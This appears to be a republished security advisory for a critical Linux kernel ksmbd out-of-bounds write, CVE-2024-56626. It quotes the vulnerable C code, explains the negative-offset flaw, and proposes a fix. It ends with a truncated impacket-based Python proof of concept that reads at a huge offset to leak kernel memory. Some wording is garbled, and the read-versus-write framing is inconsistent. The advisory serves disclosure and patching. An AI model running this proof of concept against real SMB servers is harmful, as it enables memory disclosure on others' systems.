AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

GoogleGHSA-qmm2-xfcw-4r29

Linux Kernel: Out of bounds Write in ksmbd_vfs_stream_write

Google

CVE-2024-56626 · Published Jan 9, 2025

Critical9.8
Fix: upgrade to v6.13-rc2 or later
GitHub advisory

Summary

The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer.

Severity

Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce.

Analysis

```c/c++

static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos,

size_t count)

{

char *stream_buf = NULL, *wbuf;

struct mnt_idmap *idmap = file_mnt_idmap(fp->filp);

size_t size;

ssize_t v_len;

int err = 0;

ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n",

*pos, count);

size = *pos + count; // (1)

if (size > XATTR_SIZE_MAX) {

size = XATTR_SIZE_MAX;

count = (*pos + count) - XATTR_SIZE_MAX;

}

v_len = ksmbd_vfs_getcasexattr(idmap,

fp->filp->f_path.dentry,

fp->stream.name,

fp->stream.size,

&stream_buf);

if (v_len < 0) {

pr_err("not found stream in xattr : %zd\n", v_len);

err = v_len;

goto out;

}

if (v_len < size) {

wbuf = kvzalloc(size, GFP_KERNEL);

if (!wbuf) {

err = -ENOMEM;

goto out;

}

if (v_len > 0)

memcpy(wbuf, stream_buf, v_len);

kvfree(stream_buf);

stream_buf = wbuf;

}...

Affected versions

PackageAffectedFixed in
ksmbd_vfs_stream_write
Product
>= 5.15, < v6.13-rc2v6.13-rc2
Details and references

### Summary The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer. ### Severity Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce. ### Analysis ```c/c++ static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count) { char *stream_buf = NULL, *wbuf; struct mnt_idmap *idmap = file_mnt_idmap(fp->filp); size_t size; ssize_t v_len; int err = 0; ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n", *pos, count); size = *pos + count; // (1) if (size > XATTR_SIZE_MAX) { size = XATTR_SIZE_MAX; count = (*pos + count) - XATTR_SIZE_MAX; } v_len = ksmbd_vfs_getcasexattr(idmap, fp->filp->f_path.dentry, fp->stream.name, fp->stream.size, &stream_buf); if (v_len < 0) { pr_err("not found stream in xattr : %zd\n", v_len); err = v_len; goto out; } if (v_len < size) { wbuf = kvzalloc(size, GFP_KERNEL); if (!wbuf) { err = -ENOMEM; goto out; } if (v_len > 0) memcpy(wbuf, stream_buf, v_len); kvfree(stream_buf); stream_buf = wbuf; } memcpy(&stream_buf[*pos], buf, count); // (2) err = ksmbd_vfs_setxattr(idmap, &fp->filp->f_path, fp->stream.name, (void *)stream_buf, size, 0, true); if (err < 0) goto out; fp->filp->f_pos = *pos; err = 0; out: kvfree(stream_buf); return err; } ``` 1. **Insufficient Validation**: The calculation of the size variable at (1) (size = *pos + count;) allows for a negative value of *pos. 2. **Out-of-Bounds Write**: The memcpy at (2) uses *pos directly as an offset into stream_buf. If *pos is negative, this results in writing data to memory before the start of the allocated buffer. 3. **Attacker-Controlled Data**: The data being written (buf) comes directly from the user-supplied SMB write request, giving the attacker full control over the contents written out-of-bounds. ### Remediation The code should be modified to explicitly check for negative values of offset before using it as an offset. This could be a simple check like: if (offset < 0) { return -EINVAL; } This ensures that only valid, non-negative offsets are used, preventing the out-of-bounds read. ### Proof of Concept ``` from impacket import smb3 as smb, smbconnection from hexdump import hexdump class BugClient: def __init__(self, target, share, username, password, domain="", port=445): self.target = target self.share = share self.username = username self.password = password self.domain = domain self.port = port self.smbClient = smbconnection.SMBConnection( self.target, self.target, sess_port=self.port ) self.smbClient.login(self.username, self.password, self.domain) def leak_oob(self, file_path, how_much): try: # Connect to the share tree_id = self.smbClient.connectTree(self.share) # Open the file file_id = self.smbClient.openFile( tree_id, file_path, desiredAccess=smb.FILE_READ_DATA ) # Read the file contents at offset data = self.smbClient.readFile( tree_id, file_id, 18446744073709551615 - how_much, how_much ) # Close the file self.smbClient.closeFile(tree_id, file_id) # Disconnect from the tree self.smbClient.disconnectTree(tree_id) return data except Exception as e: print(f"Error reading file: {e}") return Non

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)

More Google advisories

All Google